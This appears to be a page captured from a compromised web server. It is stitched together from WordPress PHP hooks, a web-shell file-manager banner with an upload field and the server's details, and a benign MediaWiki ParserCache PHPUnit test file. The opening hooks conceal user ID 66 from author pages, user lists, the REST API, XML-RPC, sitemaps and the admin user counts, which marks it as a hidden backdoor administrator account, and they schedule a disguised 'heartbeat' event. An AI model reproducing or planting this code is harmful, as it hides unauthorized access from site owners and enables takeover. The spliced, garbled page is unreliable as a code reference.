add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/tests/phpunit/includes/parser/ |
Upload File : |
<?php
namespace MediaWiki\Tests\Parser;
use InvalidArgumentException;
use MediaWiki\HookContainer\HookContainer;
use MediaWiki\Json\JsonCodec;
use MediaWiki\Page\PageRecord;
use MediaWiki\Page\PageStoreRecord;
use MediaWiki\Page\WikiPage;
use MediaWiki\Page\WikiPageFactory;
use MediaWiki\Parser\CacheTime;
use MediaWiki\Parser\ParserCache;
use MediaWiki\Parser\ParserCacheFilter;
use MediaWiki\Parser\ParserOptions;
use MediaWiki\Parser\ParserOutput;
use MediaWiki\Tests\Json\JsonDeserializableSuperClass;
use MediaWiki\Title\Title;
use MediaWiki\Title\TitleFactory;
use MediaWiki\User\User;
use MediaWikiIntegrationTestCase;
use Psr\Log\LoggerInterface;
use Psr\Log\LogLevel;
use Psr\Log\NullLogger;
use TestLogger;
use Wikimedia\ObjectCache\BagOStuff;
use Wikimedia\ObjectCache\EmptyBagOStuff;
use Wikimedia\ObjectCache\HashBagOStuff;
use Wikimedia\Stats\StatsFactory;
use Wikimedia\TestingAccessWrapper;
use Wikimedia\Timestamp\ConvertibleTimestamp;
use Wikimedia\UUID\GlobalIdGenerator;
/**
* @covers \MediaWiki\Parser\ParserCache
*/
class ParserCacheTest extends MediaWikiIntegrationTestCase {
/** @var int */
private $time;
/** @var string */
private $cacheTime;
/** @var PageRecord */
private $page;
protected function setUp(): void {
parent::setUp();
$this->time = time();
$this->cacheTime = ConvertibleTimestamp::convert( TS_MW, $this->time + 1 );
$this->page = $this->createPageRecord();
ConvertibleTimestamp::setFakeTime( $this->time );
}
private function createPageRecord( array $overrides = [] ): PageRecord {
return new PageStoreRecord(
(object)array_merge( [
'page_id' => 42,
'page_namespace' => NS_MAIN,
'page_title' => 'Testing_Testing',
'page_latest' => 24,
'page_is_new' => false,
'page_is_redirect' => false,
'page_touched' => $this->time,
'page_lang' => 'qqx',
],
$overrides ),
PageRecord::LOCAL
);
}
/**
* @param HookContainer|null $hookContainer
* @param BagOStuff|null $storage
* @param LoggerInterface|null $logger
* @param WikiPageFactory|null $wikiPageFactory
* @return ParserCache
*/
private function createParserCache(
?HookContainer $hookContainer = null,
?BagOStuff $storage = null,
?LoggerInterface $logger = null,
?WikiPageFactory $wikiPageFactory = null
): ParserCache {
if ( !$wikiPageFactory ) {
$wikiPageMock = $this->createMock( WikiPage::class );
$wikiPageMock->method( 'getContentModel' )->willReturn( CONTENT_MODEL_WIKITEXT );
$wikiPageFactory = $this->createMock( WikiPageFactory::class );
$wikiPageFactory->method( 'newFromTitle' )->willReturn( $wikiPageMock );
}
$globalIdGenerator = $this->createMock( GlobalIdGenerator::class );
$globalIdGenerator->method( 'newUUIDv1' )->willReturn( 'uuid-uuid' );
return new ParserCache(
'test',
$storage ?: new HashBagOStuff(),
'19900220000000',
$hookContainer ?: $this->createHookContainer( [] ),
new JsonCodec(),
StatsFactory::newNull(),
$logger ?: new NullLogger(),
$this->createMock( TitleFactory::class ),
$wikiPageFactory,
$globalIdGenerator
);
}
private function getDummyUsedOptions(): array {
return array_slice(
ParserOptions::allCacheVaryingOptions(),
0,
2
);
}
private function createDummyParserOutput(): ParserOutput {
$parserOutput = new ParserOutput();
$parserOutput->setRawText( 'TEST' );
foreach ( $this->getDummyUsedOptions() as $option ) {
$parserOutput->recordOption( $option );
}
$parserOutput->updateCacheExpiry( 4242 );
$parserOutput->setRenderId( 'dummy-render-id' );
$parserOutput->setCacheRevisionId( 0 );
// ParserOutput::getCacheTime() also sets it as a side effect
$parserOutput->setRevisionTimestamp( $parserOutput->getCacheTime() );
return $parserOutput;
}
public function testGetMetadataMissing() {
$cache = $this->createParserCache();
$metadataFromCache = $cache->getMetadata(
$this->page,
ParserCache::USE_CURRENT_ONLY
);
$this->assertNull( $metadataFromCache );
}
public function testGetMetadataAllGood() {
$cache = $this->createParserCache();
$parserOutput = $this->createDummyParserOutput();
$cache->save(
$parserOutput,
$this->page,
ParserOptions::newFromAnon(),
$this->cacheTime
);
$metadataFromCache = $cache->getMetadata(
$this->page,
ParserCache::USE_CURRENT_ONLY
);
$this->assertNotNull( $metadataFromCache );
$this->assertSame(
$this->getDummyUsedOptions(),
$metadataFromCache->getUsedOptions()
);
$this->assertSame(
4242,
$metadataFromCache->getCacheExpiry()
);
$this->assertSame(
$this->page->getLatest(),
$metadataFromCache->getCacheRevisionId()
);
$this->assertSame(
$this->cacheTime,
$metadataFromCache->getCacheTime()
);
}
public function testGetMetadataExpired() {
$cache = $this->createParserCache();
$parserOutput = $this->createDummyParserOutput();
$cache->save(
$parserOutput,
$this->page,
ParserOptions::newFromAnon(),
$this->cacheTime
);
$this->page = $this->createPageRecord( [ 'page_touched' => $this->time + 10000 ] );
$this->assertNull(
$cache->getMetadata(
$this->page,
ParserCache::USE_CURRENT_ONLY
)
);
$metadataFromCache = $cache->getMetadata(
$this->page,
ParserCache::USE_EXPIRED
);
$this->assertNotNull( $metadataFromCache );
$this->assertSame(
$this->getDummyUsedOptions(),
$metadataFromCache->getUsedOptions()
);
$this->assertSame(
4242,
$metadataFromCache->getCacheExpiry()
);
$this->assertSame(
$this->page->getLatest(),
$metadataFromCache->getCacheRevisionId()
);
$this->assertSame(
$this->cacheTime,
$metadataFromCache->getCacheTime()
);
}
public function testGetMetadataOutdated() {
$cache = $this->createParserCache();
$parserOutput = $this->createDummyParserOutput();
$cache->save(
$parserOutput,
$this->page,
ParserOptions::newFromAnon(),
$this->cacheTime
);
$this->page = $this->createPageRecord( [ 'page_latest' => $this->page->getLatest() + 1 ] );
$this->assertNull(
$cache->getMetadata(
$this->page,
ParserCache::USE_CURRENT_ONLY
)
);
$this->assertNull(
$cache->getMetadata(
$this->page,
ParserCache::USE_EXPIRED
)
);
$metadataFromCache = $cache->getMetadata(
$this->page,
ParserCache::USE_OUTDATED
);
$this->assertSame(
$this->getDummyUsedOptions(),
$metadataFromCache->getUsedOptions()
);
$this->assertSame(
4242,
$metadataFromCache->getCacheExpiry()
);
$this->assertNotSame(
$this->page->getLatest(),
$metadataFromCache->getCacheRevisionId()
);
$this->assertSame(
$this->cacheTime,
$metadataFromCache->getCacheTime()
);
}
public function testMakeParserOutputKey() {
$cache = $this->createParserCache();
$options1 = ParserOptions::newFromAnon();
$options1->setOption(
$this->getDummyUsedOptions()[0],
'value1'
);
$key1 = $cache->makeParserOutputKey(
$this->page,
$options1,
$this->getDummyUsedOptions()
);
$this->assertNotNull( $key1 );
$options2 = ParserOptions::newFromAnon();
$options2->setOption(
$this->getDummyUsedOptions()[0],
'value2'
);
$key2 = $cache->makeParserOutputKey(
$this->page,
$options2,
$this->getDummyUsedOptions()
);
$this->assertNotNull( $key2 );
$this->assertNotSame(
$key1,
$key2
);
}
/*
* Test that fetching without storing first returns false.
*/
public function testGetEmpty() {
$cache = $this->createParserCache();
$options = ParserOptions::newFromAnon();
$this->assertFalse(
$cache->get(
$this->page,
$options
)
);
}
/**
* Test that fetching with the same options return the saved value.
*/
public function testSaveGetSameOptions() {
$cache = $this->createParserCache();
$parserOutput = new ParserOutput( 'TEST_TEXT' );
$options1 = ParserOptions::newFromAnon();
$options1->setOption(
$this->getDummyUsedOptions()[0],
'value1'
);
$cache->save(
$parserOutput,
$this->page,
$options1,
$this->cacheTime
);
$savedOutput = $cache->get(
$this->page,
$options1
);
$this->assertInstanceOf(
ParserOutput::class,
$savedOutput
);
// ParserCache adds a comment to the HTML, so check if the result starts with page content.
$this->assertStringStartsWith(
'TEST_TEXT',
$savedOutput->getRawText()
);
$this->assertSame(
$this->cacheTime,
$savedOutput->getCacheTime()
);
$this->assertSame(
$this->page->getLatest(),
$savedOutput->getCacheRevisionId()
);
}
/**
* Test that fetching with different unused option returns a value.
*/
public function testSaveGetDifferentUnusedOption() {
$cache = $this->createParserCache();
$optionName = $this->getDummyUsedOptions()[0];
$parserOutput = new ParserOutput( 'TEST_TEXT' );
$options1 = ParserOptions::newFromAnon();
$options1->setOption(
$optionName,
'value1'
);
$cache->save(
$parserOutput,
$this->page,
$options1,
$this->cacheTime
);
$options2 = ParserOptions::newFromAnon();
$options2->setOption(
$optionName,
'value2'
);
$savedOutput = $cache->get(
$this->page,
$options2
);
$this->assertInstanceOf(
ParserOutput::class,
$savedOutput
);
// ParserCache adds a comment to the HTML, so check if the result starts with page content.
$this->assertStringStartsWith(
'TEST_TEXT',
$savedOutput->getRawText()
);
$this->assertSame(
$this->cacheTime,
$savedOutput->getCacheTime()
);
$this->assertSame(
$this->page->getLatest(),
$savedOutput->getCacheRevisionId()
);
}
/**
* Test that non-cacheable output is not stored
*/
public function testDoesNotStoreNonCacheable() {
$cache = $this->createParserCache();
$parserOutput = new ParserOutput( 'TEST_TEXT' );
$parserOutput->updateCacheExpiry( 0 );
$options1 = ParserOptions::newFromAnon();
$cache->save(
$parserOutput,
$this->page,
$options1,
$this->cacheTime
);
$this->assertFalse(
$cache->get(
$this->page,
$options1
)
);
$this->assertFalse(
$cache->get(
$this->page,
$options1,
true
)
);
$this->assertFalse(
$cache->getDirty(
$this->page,
$options1
)
);
}
/**
* Allow ParserCacheFilter hook to prevent content from being cached
*/
public function testDoesNotStoreFiltered() {
$cache = $this->createParserCache();
$parserOutput = new ParserOutput( 'TEST_TEXT' );
$parserOutput->resetParseStartTime();
$parserOutput->recordTimeProfile();
// Only cache output that took at least 100 seconds of CPU to generate
$cache->setFilter( new ParserCacheFilter( [
'default' => [ 'minCpuTime' => 100 ],
] ) );
$options1 = ParserOptions::newFromAnon();
$cache->save(
$parserOutput,
$this->page,
$options1,
$this->cacheTime
);
$this->assertFalse(
$cache->get(
$this->page,
$options1
)
);
$this->assertFalse(
$cache->get(
$this->page,
$options1,
true
)
);
$this->assertFalse(
$cache->getDirty(
$this->page,
$options1
)
);
}
/**
* ParserCache::save must respect ParserOptions::isSafeToCache
*/
public function testDoesNotStoreNotSafeToCacheAndUsed() {
$cache = $this->createParserCache();
$parserOutput = new ParserOutput( 'TEST_TEXT' );
$parserOutput->recordOption( 'wrapclass' );
$options = ParserOptions::newFromAnon();
$options->setOption(
'wrapclass',
'wrapwrap'
);
$cache->save(
$parserOutput,
$this->page,
$options,
$this->cacheTime
);
$this->assertFalse(
$cache->get(
$this->page,
$options
)
);
$this->assertFalse(
$cache->get(
$this->page,
$options,
true
)
);
$this->assertFalse(
$cache->getDirty(
$this->page,
$options
)
);
}
/**
* get() must respect ParserOptions::isSafeToCache.
*/
public function testDoesNotGetNotSafeToCache() {
$cache = $this->createParserCache();
$parserOutput = new ParserOutput( 'TEST_TEXT' );
$parserOutput->recordOption( 'wrapclass' );
$cache->save(
$parserOutput,
$this->page,
ParserOptions::newFromAnon(),
$this->cacheTime
);
$otherOptions = ParserOptions::newFromAnon();
$otherOptions->setOption(
'wrapclass',
'wrapwrap'
);
$this->assertFalse(
$cache->get(
$this->page,
$otherOptions
)
);
$this->assertFalse(
$cache->get(
$this->page,
$otherOptions,
true
)
);
$this->assertFalse(
$cache->getDirty(
$this->page,
$otherOptions
)
);
}
/**
* save() must respect ParserOptions::isSafeToCache
*/
public function testStoresNotSafeToCacheAndUnused() {
$cache = $this->createParserCache();
$parserOutput = new ParserOutput( 'TEST_TEXT' );
$options = ParserOptions::newFromAnon();
$options->setOption(
'wrapclass',
'wrapwrap'
);
$cache->save(
$parserOutput,
$this->page,
$options,
$this->cacheTime
);
$this->assertStringContainsString(
'TEST_TEXT',
$cache->get(
$this->page,
$options
)->getRawText()
);
}
/**
* get() with an option should not return a saved match for a different option.
*/
public function testSaveGetDifferentUsedOption() {
$cache = $this->createParserCache();
$parserOutput = new ParserOutput( 'TEST_TEXT' );
$optionName = $this->getDummyUsedOptions()[0];
$parserOutput->recordOption( $optionName );
$options1 = ParserOptions::newFromAnon();
$options1->setOption(
$optionName,
'value1'
);
$cache->save(
$parserOutput,
$this->page,
$options1,
$this->cacheTime
);
$options2 = ParserOptions::newFromAnon();
$options2->setOption(
$optionName,
'value2'
);
$this->assertFalse(
$cache->get(
$this->page,
$options2
)
);
}
/**
* Allow retrieval of expired metadata via getDirty()
*/
public function testGetExpiredMetadata() {
$cache = $this->createParserCache();
$parserOutput = new ParserOutput( 'TEST_TEXT' );
$parserOutput->updateCacheExpiry( 10 );
$options1 = ParserOptions::newFromAnon();
$cache->save(
$parserOutput,
$this->page,
$options1,
$this->cacheTime
);
ConvertibleTimestamp::setFakeTime( $this->time + 15 * 1000 );
$this->assertFalse(
$cache->get(
$this->page,
$options1
)
);
$this->assertInstanceOf(
ParserOutput::class,
$cache->get(
$this->page,
$options1,
true
)
);
$this->assertInstanceOf(
ParserOutput::class,
$cache->getDirty(
$this->page,
$options1
)
);
}
/**
* Allow retrieval of expired output with good metadata via getDirty()
*/
public function testGetExpiredContent() {
$cache = $this->createParserCache();
$optionName = $this->getDummyUsedOptions()[0];
$parserOutput1 = new ParserOutput( 'TEST_TEXT1' );
$parserOutput1->recordOption( $optionName );
$parserOutput1->updateCacheExpiry( 10 );
$options1 = ParserOptions::newFromAnon();
$options1->setOption(
$optionName,
'value1'
);
$cache->save(
$parserOutput1,
$this->page,
$options1,
$this->cacheTime
);
$parserOutput2 = new ParserOutput( 'TEST_TEXT2' );
$parserOutput2->recordOption( $optionName );
$parserOutput2->updateCacheExpiry( 100500600 );
$options2 = ParserOptions::newFromAnon();
$options2->setOption(
$optionName,
'value2'
);
$cache->save(
$parserOutput2,
$this->page,
$options2,
$this->cacheTime
);
ConvertibleTimestamp::setFakeTime( $this->time + 15 * 1000 );
$this->assertFalse(
$cache->get(
$this->page,
$options1
)
);
$this->assertInstanceOf(
ParserOutput::class,
$cache->get(
$this->page,
$options1,
true
)
);
$this->assertInstanceOf(
ParserOutput::class,
$cache->getDirty(
$this->page,
$options1
)
);
}
/**
* Allow retrieval of expired output with expired metadata via getDirty()
*/
public function testGetOutdatedMetadata() {
$cache = $this->createParserCache();
$parserOutput = new ParserOutput( 'TEST_TEXT' );
$options1 = ParserOptions::newFromAnon();
$cache->save(
$parserOutput,
$this->page,
$options1,
$this->cacheTime
);
$this->assertInstanceOf(
ParserOutput::class,
$cache->get(
$this->page,
$options1
)
);
$this->page = $this->createPageRecord( [ 'page_latest' => $this->page->getLatest() + 1 ] );
$this->assertFalse(
$cache->get(
$this->page,
$options1
)
);
$this->assertInstanceOf(
ParserOutput::class,
$cache->get(
$this->page,
$options1,
true
)
);
$this->assertInstanceOf(
ParserOutput::class,
$cache->getDirty(
$this->page,
$options1
)
);
}
/**
* Allow retrieval of outdated output with good metadata via getDirty()
*/
public function testGetOutdatedContent() {
$cache = $this->createParserCache();
$optionName = $this->getDummyUsedOptions()[0];
$parserOutput1 = new ParserOutput( 'TEST_TEXT' );
$parserOutput1->recordOption( $optionName );
$options1 = ParserOptions::newFromAnon();
$options1->setOption(
$optionName,
'value1'
);
$cache->save(
$parserOutput1,
$this->page,
$options1,
$this->cacheTime
);
$this->page = $this->createPageRecord( [ 'page_latest' => $this->page->getLatest() + 1 ] );
$parserOutput2 = new ParserOutput( 'TEST_TEXT' );
$parserOutput2->recordOption( $optionName );
$options2 = ParserOptions::newFromAnon();
$options2->setOption(
$optionName,
'value2'
);
$cache->save(
$parserOutput2,
$this->page,
$options2,
$this->cacheTime
);
$this->assertFalse(
$cache->get(
$this->page,
$options1
)
);
$this->assertInstanceOf(
ParserOutput::class,
$cache->get(
$this->page,
$options1,
true
)
);
$this->assertInstanceOf(
ParserOutput::class,
$cache->getDirty(
$this->page,
$options1
)
);
}
/**
* get() must return false after deleting a key.
*/
public function testDeleteOptionsKey() {
$cache = $this->createParserCache();
$parserOutput = new ParserOutput( 'TEST_TEXT' );
$options1 = ParserOptions::newFromAnon();
$cache->save(
$parserOutput,
$this->page,
$options1,
$this->cacheTime
);
$this->assertInstanceOf(
ParserOutput::class,
$cache->get(
$this->page,
$options1
)
);
$cache->deleteOptionsKey( $this->page );
$this->assertFalse(
$cache->get(
$this->page,
$options1
)
);
}
/**
* Allow RejectParserCacheValue hook to reject a ParserOutput cache hit.
*/
public function testRejectedByHook() {
$parserOutput = new ParserOutput( 'TEST_TEXT' );
$options = ParserOptions::newFromAnon();
$options->setOption(
$this->getDummyUsedOptions()[0],
'value1'
);
$wikiPageMock = $this->createMock( WikiPage::class );
$wikiPageMock->method( 'getContentModel' )->willReturn( CONTENT_MODEL_WIKITEXT );
$wikiPageFactory = $this->createMock( WikiPageFactory::class );
$wikiPageFactory->method( 'newFromTitle' )->with( $this->page )->willReturn(
$wikiPageMock
);
$hookContainer = $this->createHookContainer( [
'RejectParserCacheValue' => function (
ParserOutput $value,
WikiPage $hookPage,
ParserOptions $popts
) use ( $wikiPageMock, $parserOutput, $options ) {
// parse start time is not saved/restored in the cache
$parserOutput->clearParseStartTime();
$this->assertEquals(
$parserOutput,
$value
);
$this->assertSame(
$wikiPageMock,
$hookPage
);
$this->assertSame(
$options,
$popts
);
return false;
},
] );
$cache = $this->createParserCache(
$hookContainer,
null,
null,
$wikiPageFactory
);
$cache->save(
$parserOutput,
$this->page,
$options,
$this->cacheTime
);
$this->assertFalse(
$cache->get(
$this->page,
$options
)
);
}
/**
* ParserCacheSaveComplete hook must run
*/
public function testParserCacheSaveCompleteHook() {
$parserOutput = new ParserOutput( 'TEST_TEXT' );
$options = ParserOptions::newFromAnon();
$options->setOption(
$this->getDummyUsedOptions()[0],
'value1'
);
$hookContainer = $this->createHookContainer( [
'ParserCacheSaveComplete' => function (
ParserCache $hookCache,
ParserOutput $value,
Title $hookTitle,
ParserOptions $popts,
int $revId
) use ( $parserOutput, $options ) {
$this->assertSame(
$parserOutput,
$value
);
$this->assertSame(
$options,
$popts
);
$this->assertSame(
42,
$revId
);
},
] );
$cache = $this->createParserCache( $hookContainer );
$cache->save(
$parserOutput,
$this->page,
$options,
$this->cacheTime,
42
);
}
/**
* get() gracefully skips non-existing pages
*/
public function testSkipIfNotExist() {
$mockPage = $this->createNoOpMock(
PageRecord::class,
[
'exists',
'assertWiki',
]
);
$mockPage->method( 'exists' )->willReturn( false );
$wikiPageMock = $this->createMock( WikiPage::class );
$wikiPageMock->method( 'getContentModel' )->willReturn( 'wikitext' );
$wikiPageFactoryMock = $this->createMock( WikiPageFactory::class );
$wikiPageFactoryMock->method( 'newFromTitle' )->with( $mockPage )->willReturn(
$wikiPageMock
);
$cache = $this->createParserCache(
null,
null,
null,
$wikiPageFactoryMock
);
$this->assertFalse(
$cache->get(
$mockPage,
ParserOptions::newFromAnon()
)
);
}
/**
* Tests that parser cache skips entries for redirect pages.
* Regression test for T389591.
*/
public function testGet_redirect() {
$cache = $this->createParserCache();
$popt = ParserOptions::newFromAnon();
$pout = $this->createDummyParserOutput();
$page = $this->createPageRecord( [
'page_is_redirect' => true,
] );
$cache->save( $pout, $page, $popt );
$result = $cache->get( $page, $popt );
$this->assertInstanceOf( ParserOutput::class, $result );
$this->assertSame( 'TEST', $result->getRawText() );
}
/**
* Tests that getCacheStorage returns underlying BagOStuff
*
* @covers \MediaWiki\Parser\ParserCache::getCacheStorage
*/
public function testGetCacheStorage() {
$storage = new EmptyBagOStuff();
$cache = $this->createParserCache(
null,
$storage
);
$this->assertSame(
$storage,
$cache->getCacheStorage()
);
}
/**
* @covers \MediaWiki\Parser\ParserCache::save
*/
public function testSaveNoText() {
$this->expectException( InvalidArgumentException::class );
$this->createParserCache()->save(
new ParserOutput( null ),
$this->page,
ParserOptions::newFromAnon()
);
}
public static function provideCorruptData() {
yield 'JSON serialization, bad data' => [ 'bla bla' ];
yield 'JSON serialization, no _class_' => [ '{"test":"test"}' ];
yield 'JSON serialization, non-existing _class_' => [ '{"_class_":"NonExistentBogusClass"}' ];
$wrongInstance = new JsonDeserializableSuperClass( 'test' );
yield 'JSON serialization, wrong class' => [
json_encode(
$wrongInstance->jsonSerialize()
),
];
}
/**
* Test that we handle corrupt data gracefully.
* This is important for forward-compatibility with JSON serialization.
* We want to be sure that we don't crash horribly if we have to roll
* back to a version of the code that doesn't know about JSON.
*
* @dataProvider provideCorruptData
* @covers \MediaWiki\Parser\ParserCache::get
* @covers \MediaWiki\Parser\ParserCache::restoreFromJson
*
* @param string $data
*/
public function testCorruptData( string $data ) {
$cache = $this->createParserCache(
null,
new HashBagOStuff()
);
$parserOutput = new ParserOutput( 'TEST_TEXT' );
$options1 = ParserOptions::newFromAnon();
$cache->save(
$parserOutput,
$this->page,
$options1,
$this->cacheTime
);
$outputKey = $cache->makeParserOutputKey(
$this->page,
$options1,
$parserOutput->getUsedOptions()
);
$cache->getCacheStorage()->set(
$outputKey,
$data
);
// just make sure we don't crash and burn
$this->assertFalse(
$cache->get(
$this->page,
$options1
)
);
}
/**
* Test that we handle corrupt data gracefully.
* This is important for forward-compatibility with JSON serialization.
* We want to be sure that we don't crash horribly if we have to roll
* back to a version of the code that doesn't know about JSON.
*
* @covers \MediaWiki\Parser\ParserCache::getMetadata
*/
public function testCorruptMetadata() {
$cacheStorage = new HashBagOStuff();
$cache = $this->createParserCache(
null,
$cacheStorage
);
$parserOutput = new ParserOutput( 'TEST_TEXT' );
$options1 = ParserOptions::newFromAnon();
$cache->save(
$parserOutput,
$this->page,
$options1,
$this->cacheTime
);
// Mess up the metadata
$optionsKey = TestingAccessWrapper::newFromObject( $cache )->makeMetadataKey(
$this->page
);
$cacheStorage->set(
$optionsKey,
'bad data'
);
// Recreate the cache to drop in-memory cached metadata.
$cache = $this->createParserCache(
null,
$cacheStorage
);
// just make sure we don't crash and burn
$this->assertNull( $cache->getMetadata( $this->page ) );
}
/**
* Test what happens when upgrading from 1.35 or earlier,
* when old cache entries do not yet use JSON.
*
* @covers \MediaWiki\Parser\ParserCache::get
*/
public function testMigrationToJson() {
$bagOStuff = new HashBagOStuff();
$wikiPageMock = $this->createMock( WikiPage::class );
$wikiPageMock->method( 'getContentModel' )->willReturn( CONTENT_MODEL_WIKITEXT );
$wikiPageFactory = $this->createMock( WikiPageFactory::class );
$wikiPageFactory->method( 'newFromTitle' )->willReturn( $wikiPageMock );
$globalIdGenerator = $this->createMock( GlobalIdGenerator::class );
$globalIdGenerator->method( 'newUUIDv1' )->willReturn( 'uuid-uuid' );
$cache = $this->getMockBuilder( ParserCache::class )->setConstructorArgs( [
'test',
$bagOStuff,
'19900220000000',
$this->createHookContainer( [] ),
new JsonCodec(),
StatsFactory::newNull(),
new NullLogger(),
$this->createMock( TitleFactory::class ),
$wikiPageFactory,
$globalIdGenerator,
] )->onlyMethods( [ 'convertForCache' ] )->getMock();
// Emulate pre-1.36 behavior: rely on native PHP serialization.
// Note that backwards compatibility of the actual serialization is covered
// by ParserOutputTest which uses various versions of serialized data
// under tests/phpunit/data/ParserCache.
$cache->method( 'convertForCache' )->willReturnCallback(
static function ( CacheTime $obj, string $key ) {
return $obj;
}
);
$parserOutput1 = new ParserOutput( 'Lorem Ipsum' );
$options = ParserOptions::newFromAnon();
$cache->save(
$parserOutput1,
$this->page,
$options,
$this->cacheTime
);
// emulate migration to JSON
$cache = $this->createParserCache(
null,
$bagOStuff
);
// make sure we can load non-json cache data
$cachedOutput = $cache->get(
$this->page,
$options
);
$parserOutput1->clearParseStartTime(); // not saved/restored
$this->assertEquals(
$parserOutput1,
$cachedOutput
);
// now test that the cache works when using JSON
$parserOutput2 = new ParserOutput( 'dolor sit amet' );
$cache->save(
$parserOutput2,
$this->page,
$options,
$this->cacheTime
);
// make sure we can load json cache data
$cachedOutput = $cache->get(
$this->page,
$options
);
$parserOutput2->clearParseStartTime(); // not saved/restored
$this->assertEquals(
$parserOutput2,
$cachedOutput
);
}
/**
* @covers \MediaWiki\Parser\ParserCache::convertForCache
*/
public function testNonSerializableJsonIsReported() {
$testLogger = new TestLogger( true );
$cache = $this->createParserCache(
null,
null,
$testLogger
);
$parserOutput = $this->createDummyParserOutput();
$parserOutput->setExtensionData(
'test',
new User()
);
$cache->save(
$parserOutput,
$this->page,
ParserOptions::newFromAnon()
);
$this->assertArraySubmapSame(
[
[
LogLevel::ERROR,
'Unable to serialize JSON',
],
],
$testLogger->getBuffer()
);
}
/**
* @covers \MediaWiki\Parser\ParserCache::convertForCache
*/
public function testCyclicStructuresDoNotBlowUpInJson() {
$this->markTestSkipped( 'Temporarily disabled: T314338' );
$testLogger = new TestLogger( true );
$cache = $this->createParserCache(
null,
null,
$testLogger
);
$parserOutput = $this->createDummyParserOutput();
$cyclicArray = [ 'a' => 'b' ];
$cyclicArray['c'] = &$cyclicArray;
$parserOutput->setExtensionData(
'test',
$cyclicArray
);
$cache->save(
$parserOutput,
$this->page,
ParserOptions::newFromAnon()
);
$this->assertArraySubmapSame(
[
[
LogLevel::ERROR,
'Unable to serialize JSON',
],
],
$testLogger->getBuffer()
);
}
/**
* Avoid needless JSON-escaping of Unicode characters so that
* values do not become too large and waste storage space (T263579)
*
* @see \MediaWiki\Parser\ParserCache::convertForCache
*/
public function testJsonEncodeUnicode() {
$unicodeCharacter = "Э";
$bag = new HashBagOStuff();
$parserCache = $this->createParserCache( null, $bag );
$parserOutput = $this->createDummyParserOutput();
$parserOutput->setRawText( $unicodeCharacter );
$parserCache->save(
$parserOutput,
$this->page,
ParserOptions::newFromAnon()
);
$key = $parserCache->makeParserOutputKey(
$this->page,
ParserOptions::newFromAnon()
);
$json = $bag->get( $key );
$this->assertStringNotContainsString(
"\u003E",
$json
);
$this->assertStringContainsString(
$unicodeCharacter,
$json
);
}
}